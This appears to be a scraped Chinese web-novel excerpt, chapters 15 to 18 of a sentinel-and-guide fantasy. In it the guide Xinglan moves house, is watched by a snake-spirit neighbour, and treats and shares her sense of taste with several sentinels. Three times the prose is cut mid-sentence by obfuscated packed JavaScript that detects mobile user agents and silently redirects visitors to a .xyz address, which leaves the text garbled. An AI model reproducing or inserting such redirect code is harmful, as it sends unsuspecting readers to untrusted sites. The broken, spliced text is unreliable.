“嗤——”阿奇伯德绷紧下颌，锐利的视线扫过不为所动的毕夏普，又看了眼对面身形瘦削，存在感薄弱的男人，哼笑一声。 “别得意太久，毕夏普，第五区不可能永远都在你的掌控之中。” 阿奇伯德笑容邪肆，站起身俯视着他。 “我等着看你自掘坟墓。” 军靴落在地面的声音逐渐远去，直到关门声响起后彻底消失，毕夏普压了下帽檐，抬眼看向还坐在自己左前方的人。 男人留着一头墨绿色长发，在脑后扎了个低马尾，刘海下的眼睛看过来时，可以清晰看见一双棕黑色竖瞳，带着冷血动物特有的阴暗幽湿气息。 毕夏普面色无波，声音依旧透着刻骨的冷，“要见她，最好遮住你的眼睛。” 他们都知道，他口中的人是谁。 拉德没有接话，沉默着起身离开了静音室。 房间彻底恢复了安静，毕夏普按了按眉心，紫褐色眼眸闭合，带着亲近意味的湿冷触感从手背划过，死寂的房间内，隐约响起一声空灵的呜鸣。 楼下，星岚按着莫名有些躁动的精神体，再次尝试将它收回精神海失败后，她无奈放弃，但也并不是完全没办法，“不想被套上牵引绳，就给我乖乖听话！” 再一再二不再三的道理，星岚觉得非常有必要要和小乌讲明白。 已经不是第二次偷摸哨兵精神体的小乌：…… 乖巧点头.JPG 不管它是不是真听进去了，到底是自己的精神体，总不能直接丢了，星岚训完，重新把小乌揣回衣兜里后，离开了治疗区。 在治疗室门口留了个紧急联系电话，她便锁门跟着欧斯卡出了黑塔，准备搬家。 新家的位置让星岚有些意外。 就在马吉之前和她说过的中心街住宅区里。 独栋的二层小洋楼，自带一个小菜园，比前两天的临时宿舍直接高了不止一个Level，但有一个问题，星岚停在一楼大厅，确认道： “这里只有我一个人住？” 15. Capt.15 “当然。” 欧斯卡应了一句，推着向导在屋内慢慢参观，一边和她介绍着整栋房屋的布置。 从玄关进来便是客厅，地板上躺着柔软的深青色地毯，米色布艺沙发靠墙，不同种类的Q版动物抱枕堆在沙发上，杂乱中又带着几分和谐温馨。 沙发中间是方形茶几，此刻上面的茶碗被倒扣收拢，茶具左边还立了一支细颈的白瓷瓶，里面插着迎春，嫩黄色花朵开得正艳，充满了春日的勃勃生机。 再往里则是饭厅，紧挨着最北边的厨房，餐桌东边便是上二楼的电梯，电梯南北两边还各连接着一楼客卧。 “如果您觉得上下楼有些麻烦，也可以在一楼选一间当主卧，里面都有独立卫浴，北边这间卧室还配有阳台。” 欧斯卡说着，带星岚去北边卧室的阳台上看了看，阳台很宽敞，呈东西走向，连通着厨房后门，最西边隔出来了一间储藏室，可以放不常用的杂物和食材。 星岚视线落在阳台围栏外，日光下，后院大片褐色土地明显刚被新翻过，微风吹来淡淡的土腥气，她好奇问：“那里之前种的什么？” 欧斯卡顺着她的视线看过去，目光微不可见地顿了下，随即解释道：“这里被原主人当成花园，养了不少从荒原带回来的品种，这些植物并不完全对人类无害，出于对您的安全考量，它们目前都被转移去了别的地方。” 星岚想到了亚尔曼的花店，对哨兵来说，植物的攻击性远比不上异变后的动物，所以，高级哨兵们会尝试在自己的地盘养一些相对无害的植物作为装饰。 想来，这间屋子原主人的等级不会低。 “如果您有需要，我可以申请一批新培育好的鲜花移栽过来作为补充。” 欧斯卡的声音唤回了星岚的神智，听清对方说的什么之后，她有些意动，前院已经有一个菜园，后面再养点花，回头泡茶酿酒做鲜花饼都是不错的选择。 紫苏、茉莉、月季、油茶……星岚盘算着能食用的花，一边和欧斯卡交流，一边回屋上了二楼。 从电梯出来，入目是一座主体呈蓝白色调的浮雕墙，大片翻飞的水浪在灯光下闪烁着微光，让人仿佛置身于真实的海岸边，海面上，白色泡沫折射出七彩光芒，如梦似幻，令人着迷。 回神从浮雕墙右转，轮椅压过深色地板，欧斯卡先带向导去了主卧。 主卧同样位于最北边，外侧是阳台，视野比之一楼更为开阔，二楼没有储物间，一楼厨房的位置正对二楼小厅，连着阳台组成了一厅一卧的单独隔间。 从小厅出来，电梯正对的浮雕墙背后是一间书房，最南边则是两间并列的卧房。 星岚停在西南方卧室的小阳台上，看着大门处附近的菜园，略有些迟疑地问：“你有没有觉得，卧室有点太多了？” 一楼两间，二楼三间，隔壁那间甚至摆着两张床，她一个向导来到港口，人生地不熟的，也没什么朋友，哪里用得着这么多卧室？ 闻言，欧斯卡轻咳了一声，目光乱飞。 他该怎么告诉向导，如果不是自己拦得及时，书房同样要被装修成卧室了…… “因为之前不太了解您的需求，所以多余的房间都直接装成了卧室，如果您有其他改建想法，现在告诉我也来得及，我会在您去治疗室工作期间安排人重新进行装修。” 星岚摇摇头，她除了食欲比常人旺盛些，并没有多少娱乐需求，而且一年实习期结束后她是一定要回中心基地的，后面会不会再来港口工作还无从确定。 所以现在的住所能满足日常需要，对她来说就足够了。 “暂时就先这样吧，后续如果有什么地方需要改建，再麻烦欧斯卡先生。” “很乐意为您效劳。” 欧斯卡偷偷松口气，微笑问道：“那您现在决定好住一楼还是主卧了吗？” “就在主卧吧。” 有电梯在，住楼上还是楼下的差别并不大，不过二楼阳台视野更好，星岚没有多犹豫便做出了决定。 “非海兽潮期间，小区物业每三天会上门提供一次清洁服务，您如果有什么要求，都可以提前通过短信告知他们。” 欧斯卡留下房间钥匙和物业号码，又帮着星岚录入了大门处的解锁指纹后，当着她的面删除了之前录入的自己的信息。 “以后这里便是您的家了，星岚向导。” 欧斯卡站在门口托了下眼镜，垂眼看着身前向导，目光格外温和，“再次感谢您能加入达克莱斯。” 他右手抚肩，优雅欠身，蓝紫色发丝在日光下荡起柔软的弧度，星岚正坐在轮椅上，抬手朝他小幅度摆了摆，认真道：“也感谢您的接引，欧斯卡先生。” 她顿了顿，继续道：“如果你愿意的话，以后喊我名字就好。” 欧斯卡眼尾下弯，从善如流道：“我的荣幸，星岚。” 青年此刻的态度过于友善，简单的名字从他嘴里念出来似乎也多了几分别样的味道，星岚心底不由闪过一丝雀跃，她这也算是在达克莱斯正式交到新朋友了吧！ 快乐的时间总是短暂的，欧斯卡离开后，星岚又在门口待了好一会儿才重新回神。 将怀里蛄蛹的精神体握进手里，星岚正准备再回新家好好熟悉一下，一道意味不明的视线忽然从侧面投来，她下意识抬头，目光落在了左侧邻居家的二楼，却只看见拉紧的深色窗帘。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15421652|169085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 带着八分欣喜，两分疑惑关上院门，星岚回到了自己的新家。 家，她喜欢这个字眼。 周围恢复了安静，只余凉风穿过院门时，发出几声轻响。 又过了许久，久到太阳已经靠近地平线，隔壁二楼的窗帘才终于动了动，昏黄的世界里，一双竖瞳自窗帘后隐约浮现一瞬。 只隔着两道墙，拉德能清楚听见隔壁向导的动静。 没有开灯的房间里一片漆黑，他背靠窗帘坐在地板上，头顶墨绿色长发此刻完全散开，遮住了脸上神情，身后，一缕头发极具灵性地扭动了下，随后沿着他垂在身侧的胳膊不断滑动。 “嘶嘶——” 猩红蛇信感受到空气中的气味因子，当即躁动起来，只有拇指粗细的墨绿色小蛇很快脱离主体，完全暴露在空气中。 但急促游动的身体却被一根苍白的手指按住，小蛇挣脱失败，回身就要咬，下一秒，七寸被狠狠一捏，它顿时萎靡蜷缩起来。 等痛劲消了一些，它又开始不服气，尾巴啪啪打着地板，瞬间木屑四溅。 拉德不为所动，强行将它召回了精神海。 还不到时间。 心脏尤在剧烈跳动，他死死按着胸口，墨绿色鳞片在额头若隐若现，直到夜色渐深，冷气攀入窗沿，一遍遍吹在凉透的后颈，拉德听着向导早已陷入熟睡的呼吸声，终于起身离开了窗边。 一夜无话。 星岚在熟悉的闹钟声里醒来。 按下关闭键后，她又在被窝里躺了一会儿，才猛然睁眼，略显陌生的房间布置映入眼帘，星岚坐起身，恍惚想起来，自己已经搬家了。 按了按眉心，她换好衣服，熟练撑着扶手挪进轮椅里，开始有条不紊地进行每天的日常清洁。 洗漱后，星岚将自家还没睡醒的精神体从被窝里捞出来，塞进衣兜里，坐电梯下了楼，在厨房冰箱里翻出一款日期新鲜的营养液喝了后，又拿了精神修复药剂服下，熬过短暂的晕眩，她套上围巾，拿好钥匙打开了门。 “我出门了。” 习惯性朝着屋内说了一句，空荡的房间自然没有人能回应她，星岚也不在意，锁好房门出了屋。 才从冰箱里取出来的营养液温度自然不高，她刚才喝的又有点急，这会儿总觉得整个人都有些发冷，星岚把围巾系紧了点，一边打开院门往外走，刚准备转弯，眼前却多出了一个系着粉色蝴蝶结的盒子。 隔着透明包装，能看见里面裱花精致的双层奶油蛋糕。 星岚疑惑地靠近了些，发现上面还有一张便利贴： 欢迎向导小姐入住听潮苑。 ——你亲爱的邻居。 16. Capt.16 便利贴上的字迹笔锋利落，清隽洒脱，看着便让人心生好感，星岚抱着蛋糕盒，原地环顾四周，却只看见晨光里静默伫立的住宅楼。 邻居？ 她目光落在依旧窗帘紧闭的隔壁二楼，会是昨晚那道视线的主人吗？ 犹豫片刻，她还是没有过去敲门，等准备好回礼再上门也不迟，星岚想着，抱着蛋糕盒直接出了住宅区，朝治疗室的方向离开了。 身后，一条墨绿色小蛇自隔壁铁栅栏间悄悄探出头。 直到向导身影完全消失后，它才略带遗憾地转身回屋，翘起的尾尖以及欢快游动的身躯又分明透露出无言的愉悦。 屋内没有开灯，但拉德整理厨具的动作丝毫不受黑暗的限制。 向导收了乔迁礼，这无疑是一个良好的开端。 他不着急。 黑暗中，压抑着兴奋的蛇瞳泛起幽微绿光。 另一边，星岚抵达治疗室后，先将怀里的蛋糕放到了办公桌上，随手调整好室内温度，她来到办公桌旁，打量着昨天被亚尔曼送来的三色堇。 在治疗室里待了十几个小时，盆中三色堇依旧开得艳丽，绿色叶片鲜嫩如初。 能在荒原上活下来的植物，显然适应力早已今非昔比，即使被移栽到盆里，它的生命力也远比灾变前要强得多。 亚尔曼发来的养护事项中写着，三色堇每周只需要浇一次水就够了，等正式入夏后，再改为三天一次，灾变后的植物普遍对光照的需求也减少了，隔几天带到外面晒足两个小时太阳就够了。 它们更喜欢阴凉干燥的地方。 养在治疗室里正好。 星岚抱着花盆观赏了一会儿，将它送进了治疗区。 有了装饰，原本冷清的病房瞬间温馨不少。 左右看了看，确认没什么问题后，她重新回到办公桌旁，打开电脑，开始接收今天的哨兵治疗申请。 没过几分钟，治疗室大门被敲响。 年轻哨兵低头从门外走进来，有着浅咖色绒毛的垂耳兔安静蜷缩在他怀里，看起来远没有马吉的精神体那般大胆。 注意到向导的目光后，布尼尔下意识后退了两步，却忘了身后是刚关上的房门，后脑勺骤然撞在门上，发出一声清脆的咚响，兔子同样受惊，当即努力向他怀里钻去。 “柏宜斯，别怕。”布尼尔低声安抚着精神体，又像是在安慰自己。 星岚停在办公桌后没有动，她怀疑自己再靠近一点，面前的哨兵会直接跳起来逃离治疗室。 “你还好吗？” 布尼尔有些僵硬地在原地踟蹰片刻，低不可闻地嗯了一声。 见他情绪稳定了些，星岚继续道：“治疗区是在里面，请跟我来。” 向导的声音很平静，还透着些公事公办的疏离意味，布尼尔微微抬头，海藻般浓密的暗红色长发映入眼帘，宛如积蓄着力量的海底熔岩，美丽而危险，他不自觉跟了上前。 “脱下来的外套可以搭在旁边，我先调试一下检测器，你仰面躺到治疗床上就好。” 布尼尔回神按照向导的要求褪下军装外套后，在治疗床上躺好，不愿回精神海的咖色垂耳兔也乖乖蹲坐在主人枕边。 星岚似有所觉，一转头就对上两双黑葡萄般水润明亮的眼睛，她停顿片刻，一只手搭上了哨兵的额头，“你脸看起来有点红，是有在发烧吗？” 淡淡的薄荷味顺着向导靠近的手落入鼻腔，布尼尔几乎能听见自己越发急促的心跳声，收缩的瞳孔边缘有一瞬间微红，他闭了闭眼，低声回道：“只是有些热。” 星岚习惯将室内气温保持在26℃，低温确实更有利于哨兵保持理智，她想了想，转身将温度又调低了些。 重新回道床边，垂耳兔已经消失在枕边，星岚只当哨兵将它收回了精神海，开始进行治疗前的最后沟通。 “我们现在要进行的是污染净化，过程相比精神疏导会更加痛苦，但我会时刻关注你的身体情况，你愿意完全信任我吗？” 布尼尔喉结动了下，感受着被治疗床束缚的身体，他略有些紧张地点了点头。 “你很勇敢。”星岚夸赞道。 “请放心，我的治疗不会出现任何意外。” 向导的语气太过笃定，布尼尔心底的紧张渐渐消散，如水流般温柔的精神力开始慢慢包裹住他。 渗入、相融……一切发生得格外自然。 布尼尔几乎要在这静默的精神力交融中熟睡过去，然而，就在他最为放松的时候，向导的精神体骤然化作尖刀，毫不作试探，瞬间击穿了哨兵的精神屏障，直达精神海深处。 最敏感脆弱的部位受到攻击，布尼尔瞬间绷直了身体，冷汗淋漓。 即使匹配度再高，精神海这种地方也无法长时间兼容另一个人的精神力存在，但哨兵的痛苦值还没有降下来，星岚也不敢轻举妄动。 昨天柯林是深度昏迷状态，所以反应远没有布尼尔这般剧烈，那种简单粗暴的治疗方案现在明显也不适用，于是，直到检测器上的痛苦值重新呈现下降趋势，星岚才闭眼开始探索他的精神海。 每个觉醒者的精神海都是一片独立的小天地，具体的环境拟态则是以精神体的生存习惯为主。 布尼尔的精神体是垂耳兔，因此他的精神海看起来是一片夜幕下的草原。 但这里的夜空看不见星星，浓稠的黑色覆盖了原本璀璨的星空，草地也不复翠绿，枯黄的色泽已然不再适合精神体生存。 想来这也是布尼尔选择将精神体抱在怀里的原因。 他体内的污染已经非常靠近临界点了。 再不及时净化，过不了几天，他也将面临失控和畸变的风险。 港口哨兵们的污染情况，远比她想象中还要严重的多，想着最近几天的见闻，星岚心底微沉，仅靠一对一治疗，她根本救不过来。 必须另想办法才行。 不过当务之急，还是先完成眼前的治疗，星岚收回心神，精神力宛如夜风拂过哨兵精神海的每一寸角落。 作为D级哨兵，布尼尔的精神海面积并不大，没有花费太多时间她便全部探查完毕，奇怪的是，精神体并不在这里。 眼见哨兵的痛苦值已经稳定，星岚将疑问暂时抛到一边，开始专心净化哨兵被污染的精神海。 布尼尔的眼睛已经彻底变成了红色，理智摇摇欲坠，束缚带下的身体宛如绷到极致的弓弦，随时可能断裂，他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15432691|169085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 努力睁大眼睛，视野依旧一片模糊，只余体内无法摆脱的痛苦仍在反复。 他想要直接昏死过去，向导冷静而清晰的声音却直直落入耳中。 “再撑一会儿，布尼尔，就快要结束了。” 身体的感知在这一刻似乎随着她的话语发生了变化，布尼尔的意识不断上浮，疼痛被剥离，隐藏在痛苦下的愉悦开始冒头。 灵魂犹如回归母体般，被看不见的能量团团包裹住，他全身放松下来，却又不自觉颤栗。 眼前的世界被切割成了两半。 一半属于治疗床上的自己，泪水和汗水遮蔽了他的视线，布尼尔只能看见晃眼的白。 另一半则是透着熹微红光的黑。 与此同时，越来越强烈的束缚感不单单从身体上传来，连同灵魂也被裹挟着重新坠落，他急切地想要抓住些什么，却只抓到一手空气。 意识终于重新回归身体，布尼尔视野骤亮。 黑色褪去，他先看见的是向导的背影，以及治疗床上的自己，这是—— 属于精神体的视角。 “柏宜斯……” 他喘着气，无声张嘴，眼前视野晃了晃，是垂耳兔后腿用力蹦上了床，而在它身后，数条暗红色触手无声消失在向导腿边。 检测器上，所有数字回落到了正常范围内，星岚趁着哨兵的精神屏障还没完全重建成功，再次检查了一遍布尼尔的精神海，确认无误后，她才开始抽离精神力。 有些不对劲。 星岚收回所有精神力，有些迟疑地握了握手，她怎么感觉，这次给哨兵做完污染净化后，自己能使用的精神力不减反增了？ 甚至就连治疗时过度集中精力的疲惫都被一扫而空了。 虽然向导的精神力确实会在治疗哨兵的过程中不断增长，但速度也不至于这么快吧？ 算上给乔伊斯做的精神疏导，她才治疗三个人而已。 难不成是因为精神力暴动前，自己就已经达到A级了，所以精神力增长会更加明显？又或者是因为精神药剂终于开始起效了？ 身边没有其他向导作为参考，星岚只能将疑问压在心底。 总归是件好事，她想着，没在这个问题上过多纠结，回头和中心基地的通讯基站修好，再打电话问问老师好了。 先给治疗床上的哨兵解开了束缚，星岚看着不知道什么时候蹲到床尾的垂耳兔，下意识摸了摸自己的兜。 小乌伸出一根触手和她热情地握了握。 “乖。” 见它这次总算没偷偷乱跑乱摸，星岚满意地揉了揉小乌缠在自己指尖的触手，随即转身离开了治疗区，给床上还没完全回神的哨兵留出私人空间。 几分钟后，星岚看着布尼尔从治疗区出来，鞠了个躬就快步离开的身影，有些摸不着头脑。 她真的有那么可怕吗？ 还是说，自己的治疗手段有点问题？ 不然怎么除了在昏迷中接受治疗的的柯林，一个二个都跑得飞快？ 将新的病历本和昨天忘给出去的两本一起放进档案柜里，星岚陷入了沉思。 总觉得这个档案柜早晚会被病历本塞满。 是错觉吧。 17. Capt.17 “你好，鹿角餐厅……” 上午的治疗刚刚告一段落，饥饿感后知后觉涌上来，再次将手头的病历本放入档案柜后，星岚拨通了伊昂留给自己的订餐电话。 手机里传出来的声音有些失真，但仿佛下一秒就要打哈欠的绵长语调给了她一种熟悉的感觉。 眼前浮现一双含着水雾的蓝色眼眸，星岚试探道：“西莫？” “啊，是向导小姐……” 距离上次见面给她通行证已经过去三天，没想到向导居然还记得只有一面之缘的人的名字，看了眼屏幕右上角的时间，西莫撑着吧台支起上身，“您需要送餐是吗，今天的推荐菜……” “是鲅鱼水饺和清蒸蟹！” 听筒里的声音骤然切换，另一道更热情洋溢的语调落入耳中，星岚还没来得及回应，电话那头再次传来两人的对话声。 “伊昂你不要抢我的工作啊。” 西莫声音本就温吞，此刻生起气来尾音无意识拉长，配着那张娃娃脸，更像是在撒娇了，没什么杀伤力，却叫人心口一软。 可惜伊昂是个心硬如铁的。 “西莫你太慢啦，反正一会儿也是我去送餐，这单就直接交给我吧！” “星岚向导，你还有什么想吃的吗？我直接去后厨说一声，可以给你加急哦。” 后厨里，正在炒菜的男人身高近两米，皮肤呈小麦色，身材魁梧，脸部线条坚毅，被汗水浸湿的衣衫更凸显壮硕的肌肉轮廓，但最引人注目的，还要数他额上那两根弯曲交错的雄壮鹿角。 看似树枝般脆弱，实则坚韧无比。 “拉赫尔大哥。” 伊昂雀跃的声音传入男人耳中，他习以为常地分出一丝注意力，又继续专注自己的工作。 “星岚向导来下单啦！” 熟悉的名字落入耳中，拉赫尔手头动作顿住，转头看向伊昂，黄褐色眼眸微微发亮，他咽了咽有些干涩的嗓子，略带欣喜地问：“她点了什么？” “是今天的推荐菜和海蛎煎，星岚向导好像很喜欢海蛎煎诶，看来下次可以再多抓一点海蛎子。” 拉赫尔点点头，开始飞快处理食材，伊昂也不打扰他，重新回到大堂，西莫难得没睡觉，趴在吧台上盯着他瞧。 “拉赫尔大哥好像很喜欢向导小姐。” 只隔了数米远的一道墙，伊昂并不意外西莫能听见后厨的交谈声，他随口回道：“因为星岚向导现在是港口唯一的正常食客了吧。” 不像哨兵，味觉都被慢慢破坏掉了，尤其到A级以后，曾经喜欢的食物完全无法再入口。 拉赫尔大哥家的餐厅是面对普通人开的，他还期望着灾变结束后能回去继承家业呢，而哨兵的食谱和正常人不一样，长此以往必然会影响拉赫尔大哥对食材处理的正确判断，星岚向导的出现相当于重新给了他一个锚点。 听完伊昂的回答，西莫托着下巴，许久没有再说话。 直到对方拎着打包好的餐盒飞奔出餐厅，门帘外一闪而过的灿烂骄阳刺得人眼疼，西莫凝视着门帘下已经消失的阳光，缓缓垂下眼。 正常啊…… 来港口这么多年，他好像也已经忘记正常的生活是什么样的了。 总归，不会是现在这样。 光线昏暗的餐厅内，西莫枕着胳膊，重新闭上了眼睛。 治疗室里，星岚很快拿到了自己的午餐。 “要坐下来喝杯水吗？” 她的邀请得到了热烈回应，接个水的功夫，伊昂已经麻利地帮她把餐盒打开摆好。 十五个圆嘟嘟的鲅鱼水饺热气腾腾地躺在餐盒里，皮薄馅饱，纯手打的鲅鱼肉质紧致，一口下去汤汁鲜香浓郁。 搭配蘸水后，水饺味道层次更为丰富，星岚眼睛一亮又一亮，都不用她多说，伊昂已经能从伸筷子的频率中看出她有多喜欢。 他坐在沙发上，饶有兴致地看着向导进食，昨天在餐厅时伊昂就发现，星岚向导对食物的态度认真到近乎虔诚，虽然脸上表情没多少变化，但她的情绪都写在眼睛里。 而且即使她的用餐速度不慢，也并不会显得猴急，看得出接受过良好的教育。 在她眯眼将食物咽进肚子里的那一刻，伊昂惊觉，自己竟然重新生出了进食的欲望，哪怕他仍清楚记得上一份入口的食物有多挑战味蕾极限，更深处有关美味的记忆却也跑了出来。 那是在他还没有觉醒精神力，成为哨兵之前的事了。 伊昂的目光毫不遮掩，星岚自然不会忽略，看了看桌上的餐盒，又看了眼尚且不会掩饰内心渴望的年轻哨兵，她忽然开口，“伊昂先生。” “嗯？”伊昂回过神，乐淘淘凑了过去，“星岚向导叫我是有什么需要帮忙的吗？” 星岚摇了摇头，组织语言后道：“我目前能调用的精神力无法直接解决你味觉失调的问题，但如果只是让你短暂品尝到食物的味道，我可以试一试。” 伊昂愣在原地，脸上迷茫与震惊混杂。 “您的意思是……” “这里没有多余的单人椅，要辛苦你站到我旁边了。” 星岚往旁边挪了挪，给他让出位置后伸出左手道：“愿意相信我的话，就握住我的手。” 伊昂没有动作，她也不着急，耐心等对方做出回答。 修长白皙的手五指微张，稳稳停在身前，伊昂打量着向导的神情，确定她没有一丝开玩笑的迹象后，他目光定了定，随即毫不犹豫地将自己右手握了上去。 “我当然相信您。” 他笑容满面，再听不出半分迟疑。 带着温差的手掌握到一起，两人都不自觉停顿了下，伊昂脸颊微热，眸光却更亮了，他一眨不眨地看着身前向导，有些好奇她要怎么做。 星岚被哨兵热哄哄的手掌烫了下，下意识蜷了下手指，心底闪过惊异，伊昂性格开朗，没想到体温也像个小太阳，不过眼看饺子热气已经不多了，她没再耽搁。 经过一早上给哨兵们做污染净化，星岚能调用的精神力已经越来越凝实，虽然有违常理，但这会儿着实方便了越级和哨兵融合精神力，现在，她准备借助精神力特有的属性，和伊昂实现短暂的感官共享。 就像哨兵与精神体是靠精神力链接出现通感现象，他们无法控制精神力，所以通感实时存在，而向导对精神力的把控是最专业的，作为曾经的向导学院首席，星岚更是将对精神力的各种运用手段掌握到了极致，她说的试试，其实已经有九成把握。 剩余一成可能失败的原因，在于自身可调用的精神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15444927|169085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力储量的严重不足，伊昂毕竟是A级哨兵，两人现在的差距实在有些大，精神力链接很可能因为一方的波动而断开。 “接下来你尽量放松，我会短暂压制你对自我的感知，如果一会儿身体有轻微失控感，千万不要惊慌。” 伊昂简短应了一声，原本交握的手指传来些许异动，他低下头，就看见两双手逐渐转变为十指相扣的姿势，视线顿时有些飘忽，但抬头却见向导神情如常，似乎并不觉得这有什么问题。 是自己想太多了么？ 伊昂陷入短暂的自我怀疑。 看不见的力量开始在指尖流转，星岚已经闭上眼，没有留意伊昂的神色变化，此刻她正试图勾出一丝哨兵体内的精神力，与其纠缠融合，获得“通行权”。 这点并不难，哨兵体内的精神力在感知到向导的存在后，就仿佛看见肉骨头的大狗，瞬间扑了过来。 难的是后面如何调整精神力与哨兵同频。 星岚感受着两人的精神力链接，心头微动，她也想趁此确认一件事—— 有关于她和港口哨兵们的匹配度。 如果说D级哨兵体内的精神力是微风拂动下的小水塘，A级哨兵的精神力便是被狂风卷动的海浪，精神力化作的游鱼进入哨兵体内后，开始艰难穿梭于海浪之中。 针扎般的触感自掌心传来，吸引了伊昂的注意力，他能感觉到，自己和向导冥冥之中多了些说不上来的联系，心口痒痒的，他忍不住想做些什么，但碍于对方最初的嘱咐，伊昂最终还是站在原地没有乱动，只用那双带着些蓝边的黑瞳一眨不眨地看着面前向导。 随着星岚输入体内的精神力不断增强，精神力浪潮中的小鱼终于稳住了身体，开始寻找自己的目的地。 阻力渐渐变成了推力，在哨兵的放任下，星岚顺利接手了部分交融的精神力控制权后，缓缓睁开眼。 对上面前哨兵有些失神的双眸，她低声问：“伊昂？你现在感觉怎么样？” 向导的声音离得有些远，伊昂下意识俯身，离她更近了些，嘴里嘟囔道：“感觉……有些奇妙。” 就像喝醉酒后，脚踩棉花一样的虚浮感，但注意力稍加集中，这种感觉便消失了，而当他再次有意放空大脑后，身边所有的一切又仿佛都开始远离自己。 伊昂新奇地睁大眼睛，“好玩！” 他年龄本就不大，这会儿像是得了新玩具，当即开始不断尝试两种状态。 被快速接纳的精神力已经验证了星岚的猜想，她看了眼两人依旧交扣的手，没有打断身旁哨兵，右手拿起筷子，开始埋头继续干饭。 水饺已经变得温热，但丝毫不损肉质的鲜美，伊昂身体猛然一颤，他转头看看向导，又看看桌上餐盒，满眼震惊。 自己嘴里明明什么都没有，那鲜香细腻的口感却如此真实。 “拉赫尔大哥的厨艺果然超级无敌一级棒！” 星岚没想到他第一反应会是这样，愣了下，她很是认同地点了点头。 而伊昂眼神已经完全变了，在确认自己真的可以共享向导的味觉后，他态度少见地有些扭捏，眼底更是藏不住的热切。 “星岚向导，以后饭点我都可以来找你吗？” “我可以给你带饭，免费的！” 18. Capt.18 伊昂哼着歌回到鹿角餐厅时，拉赫尔正和西莫坐在吧台后闲聊。 西莫枕着半边胳膊，侧头趴在吧台上，右手无聊扒拉着一根喝完的营养液空管，半透明的短管顺着他的力道，咕噜噜滚来滚去，偶尔滚远了，坐在旁边的拉赫尔便会伸手截住，重新放回他手边。 客人都已经离场，门把上也挂了暂停营业的牌子，有一搭没一搭的对话声里，伊昂推开门语调欢快道：“我回来啦！” 西莫应声扭头，看清伊昂手里拎着的东西后，他神情古怪，转回头问拉赫尔： “餐厅穷到需要回收利用一次性餐盒了？” “诶？”伊昂看了眼自己的手，随即恍然，离开治疗室的时候他顺手把垃圾带走准备丢掉，结果路上想着其他事情就给忘了。 把垃圾袋扔到它该去的地方，伊昂挠了挠头，“这个不重要。” “对，查查你脑干有没有缺失比较重要。”西莫接道：“记得顺便查查鼻子，都说物极必反，你别是突然间得了失嗅症……” “西莫！” 西莫语速又急又快，完全不似过往温吞，伊昂看着他，语气连带着表情都严肃了起来，西莫话音骤然顿住，半晌，他重新将头埋进臂弯里，道歉的话才到嘴边，就又听见熟悉的清亮声音响起。 “原来你讲话速度可以这么快！” 伊昂双目放光，掰着指头算了算后，他又“哇”了一声，比了个手势道：“你这次居然一口气说了四十个字！” 四十！ “新纪录！” 等等……这是什么值得记录的事吗？西莫呼吸窒住，抬眼看着面前又开始傻乐的臭小子，他按了按眉心，算了，刚才本就是自己情绪一时失控，伊昂爱笑就让他再笑笑吧。 拉赫尔旁观两人互动，半点不受影响地擦着吧台上的杯子，等到西莫投来生无可恋的眼神，他才出声，打断嘎嘎直乐的伊昂，“你从进来就很开心的样子，连丢垃圾都能忘，是经历什么特别的事情了么？” 伊昂刚被西莫打岔，差点忘了正事，闻言连忙点头，大声道：“我宣布，拉赫尔大哥的厨艺就是最棒的！” 拉赫尔和西莫面面相觑，送个餐而已，这是受什么刺激了？ “星岚向导把她的味觉共享给我了，所以，我也尝到食物正常的味道了！” 伊昂话一出口，吧台后的两人同时一震，拉赫尔手中玻璃杯落在台面上，发出一声脆响，好在高度有限，杯子并没有碎裂，只咕噜转了几圈，滚出吧台边缘前就被拿了回去。 “今天不是愚人节。”西莫喃喃着，无意识捏紧了拳头，掌心传来轻微的刺痛感，“也不是梦。” “是真的！”伊昂回想起来，也觉得像是在做梦，“她问我要不要试一试，然后朝我伸出手，我握上去之后，没一会儿就真的体验到了……” “你还握了星岚向导的手？”西莫突然插嘴。 “对呀！”伊昂兴高采烈地回他：“还是像恋人那样十指相扣，不过我看星岚向导好像没这个意思。” 听出他语气里的遗憾，拉赫尔轻咳一声，提醒道：“星岚向导才十九岁。” “也就是说明年我就可以给她发结婚申请了！” “不，我并不是这个意思……” 他明明是想劝他们不要早恋来着，拉赫尔看着吧台边眨巴着眼睛，完全孩子心态的伊昂，抚额叹息，哪怕是普通人的婚姻也是一件需要慎重考虑的事情吧，遑论哨兵和向导。 在过去百余年里，哨兵和向导的结合几乎都是悲剧收场。 连中心基地那位最高指挥官都没能留下自己的哨兵，他们注定无法陪向导走到她生命的尽头，强行加深羁绊，只会让既定的分别到来时变得更加难以接受。 而留下来的人，往往是最痛苦的。 